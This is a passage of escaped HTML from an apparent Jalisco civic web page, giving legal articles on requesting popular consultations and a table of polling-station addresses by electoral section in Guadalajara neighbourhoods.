consulta popular en temas relativos a los Poderes Ejecutivo o Legislativo:<\/li>\n<li>El cincuenta por ciento de los integrantes del Congreso del Estado;<\/li>\n<li>El titular del Poder Ejecutivo del Estado; y<\/li>\n<\/ol>\n<p>III. El cero punto uno por ciento de los habitantes de la demarcaci\u00f3n territorial correspondiente.<\/p>\n<ol start=\"2\">\n<li>Pueden solicitar una consulta popular en temas relativos al gobierno municipal:<\/li>\n<li>El cincuenta por ciento de los integrantes del Ayuntamiento; y<\/li>\n<li>El cero punto cinco por ciento de los habitantes de la demarcaci\u00f3n territorial especifica.<\/li>\n<\/ol>\n<h2>Art\u00edculo 443.<\/h2>\n<ol>\n<li>La solicitud de consulta popular debe contener:<\/li>\n<li>En el caso de solicitud de habitantes:<\/li>\n<li>a) El listado con los nombres y firmas de quienes la solicitan;<\/li>\n<li>b) El nombre del representante com\u00fan;<\/li>\n<li>c) Un domicilio para recibir notificaciones, en el \u00e1rea metropolitana de Guadalajara si es consulta popular estatal, o en la cabecera municipal si es consulta popular municipal;<\/li>\n<li>En el caso de solicitud de autoridades, el nombre y cargo de los firmantes;<\/li>\n<\/ol>\n<p>III. La indicaci\u00f3n precisa del tema que se pretende someter a consulta, as\u00ed como el listado de preguntas, preferentemente bajo la modalidad de preguntas cerradas o de opci\u00f3n m\u00faltiple;<\/p>\n<ol>\n<li>La finalidad de la consulta popular; y<\/li>\n<li>La demarcaci\u00f3n territorial espec\u00edfica en la que se pretende aplicar la consulta.<\/li>\n<\/ol>\n<h2>Art\u00edculo 444.<\/h2>\n<ol>\n<li>En caso de que la autoridad no oriente su decisi\u00f3n o sus actos con base en los resultados de la consulta popular deber\u00e1 razonar su determinaci\u00f3n y publicarla en su medio de comunicaci\u00f3n oficial.<\/li>\n<\/ol>\n<p>\t\t\t\t\t\tUbica los centros de votaci\u00f3n\t\t\t\t\t<\/p>\n<table border=\"1\" width=\"841\">\n<tbody>\n<tr>\n<td width=\"55\">\n<h3>Secci\u00f3n<\/h3>\n<\/td>\n<td width=\"80\">\n<h3>Tipo<\/h3>\n<\/td>\n<td width=\"177\">\n<h3>Calle<\/h3>\n<\/td>\n<td width=\"76\">\n<h3>N\u00famero<\/h3>\n<\/td>\n<td width=\"170\">\n<h3>Colonia<\/h3>\n<\/td>\n<td width=\"104\">\n<h3>Clasificaci\u00f3n<\/h3>\n<\/td>\n<td width=\"180\">\n<h3>Referencia<\/h3>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>964<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Silverio Garc\u00eda<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>691<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Obrera<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Boulevard Garc\u00eda Barrag\u00e1n Y Minerva<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>964<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Silverio Garc\u00eda<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>691<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Obrera<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Boulevard Garc\u00eda Barrag\u00e1n Y Minerva<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1530<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Las Ca\u00f1as<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1748<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Lomas Del Paradero<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Tizapan Y Rio Jamapo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1530<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Las Ca\u00f1as<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1748<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Lomas Del Paradero<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Tizapan Y Rio Jamapo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1529<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Mixtla<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1108<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Autl\u00e1n Y Rio Nilo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1529<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Mixtla<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1108<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Autl\u00e1n Y Rio Nilo<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1522<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Lucas Alam\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>739<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Jos\u00e9 Mar\u00eda Puga Y Jos\u00e9 Rolon<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1522<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Lucas Alam\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>739<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Jos\u00e9 Mar\u00eda Puga Y Jos\u00e9 Rolon<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1523<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Fray Luis De Le\u00f3n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>822<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Crist\u00f3bal De O\u00f1ate Y Fernando M\u00e9ndez Vel\u00e1zquez<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1523<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Fray Luis De Le\u00f3n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>822<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Crist\u00f3bal De O\u00f1ate Y Fernando M\u00e9ndez Vel\u00e1zquez<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>965<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Marcelino Garc\u00eda Barrag\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>715<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Obrera<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Corregidora Y Doctor P\u00e9rez Arce<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>965<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Marcelino Garc\u00eda Barrag\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>715<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Obrera<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Corregidora Y Doctor P\u00e9rez Arce<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>966<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Calle Uno<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Unidad Modelo<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Periquillos Y Al Filo Del Agua<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>966<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Calle Uno<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Unidad Modelo<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Periquillos Y Al Filo Del Agua<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1520<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Querido Moheno<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1980<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Ram\u00f3n Pacheco Y Carlos Fuero<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1520<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Querido Moheno<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1980<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Universitaria<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Ram\u00f3n Pacheco Y Carlos Fuero<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1546<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tapachula<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2725<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Privada Rio Medell\u00edn Y Privada Rio Santos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1546<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tapachula<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2725<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Privada Rio Medell\u00edn Y Privada Rio Santos<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1544<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ju\u00e1rez<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1906<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>El Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Medell\u00edn E Insurgentes<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1544<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ju\u00e1rez<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1906<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>El Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Medell\u00edn E Insurgentes<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>995<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tototl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1800-12<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>El Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre La Av., R Michel Y Rio De La Loza<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>995<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Tototl\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1800-12<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>El Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre La Av., R Michel Y Rio De La Loza<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1541<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio La Paz<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2563<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Independencia Y Articulo 123<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1541<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio La Paz<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2563<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Atlas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Independencia Y Articulo 123<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1547<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Mascota<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2655<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Ju\u00e1rez Y Rio Reforma<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1548<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Camino Real Y Rio Medell\u00edn<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Zula Y Privada Real<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1548<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Camino Real Y Rio Medell\u00edn<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Zula Y Privada Real<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1543<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Reforma<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>533<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Rancho Blanco<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Insurgentes Y Rio La Paz<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1543<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Reforma<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>533<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Rancho Blanco<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Insurgentes Y Rio La Paz<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1545<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Santos Degollado<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1248<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Medell\u00edn Y Privada 14 De Agosto<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1545<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Santos Degollado<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1248<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Medell\u00edn Y Privada 14 De Agosto<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1547<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Mascota<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>2655<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Ju\u00e1rez Y Rio Reforma<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>963<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Guadalupe Victoria<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>722<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Obrera<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Francisco Silva Romero Y Calzada Del Ejercito<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1539<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ometepec Esquina Torrecillas<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre La Calle Rio Arno Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1539<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ometepec Esquina Torrecillas<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre La Calle Rio Arno Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1539<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Ometepec Esquina Torrecillas<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre La Calle Rio Arno Y Rio Ameca<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1538<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Oro<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1536<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Hondo Y Rio Zula<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>1538<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Oro<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1536<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Jardines Del Rosario<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Hondo Y Rio Zula<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>2503<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Cuitl\u00e1huac<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>185<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Rancho Blanco<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Santos Degollado Y Moctezuma<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>2503<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Cuitl\u00e1huac<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>185<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Rancho Blanco<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Santos Degollado Y Moctezuma<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>967<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Madeira Y Rio Suchiate<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Ol\u00edmpica<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Parque Walt Disney<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>967<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Madeira Y Rio Suchiate<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>S\/N<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Ol\u00edmpica<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Lugar Publico<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Parque Walt Disney<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>968<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Violeta<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1396<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Ol\u00edmpica<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Suchiate Y Rio Fuerte<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>968<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>Contigua<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Violeta<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1396<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Ol\u00edmpica<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Rio Suchiate Y Rio Fuerte<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>969<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Blanco<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>39<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Gonz\u00e1lez Gallo<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Poo Y Rio Tuxpan<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>970<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Rio Poo<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1154<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Domicilio Particular<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles Rio Bravo Y Rio Usumacinta<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>971<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>Boulevard Marcelino Garc\u00eda Barrag\u00e1n<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>1148<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Quinta Velarde<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Escuela<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Silverio Garc\u00eda Y Rio Balsas<\/h5>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"55\">\n<h5>978<\/h5>\n<\/td>\n<td width=\"80\">\n<h5>B\u00e1sica<\/h5>\n<\/td>\n<td width=\"177\">\n<h5>5 De Febrero<\/h5>\n<\/td>\n<td width=\"76\">\n<h5>249<\/h5>\n<\/td>\n<td width=\"170\">\n<h5>Las Conchas<\/h5>\n<\/td>\n<td width=\"104\">\n<h5>Oficina P\u00fablica<\/h5>\n<\/td>\n<td width=\"180\">\n<h5>Entre Las Calles De Doctor R Michel Y Analco, A Un Costado De La Central camionera 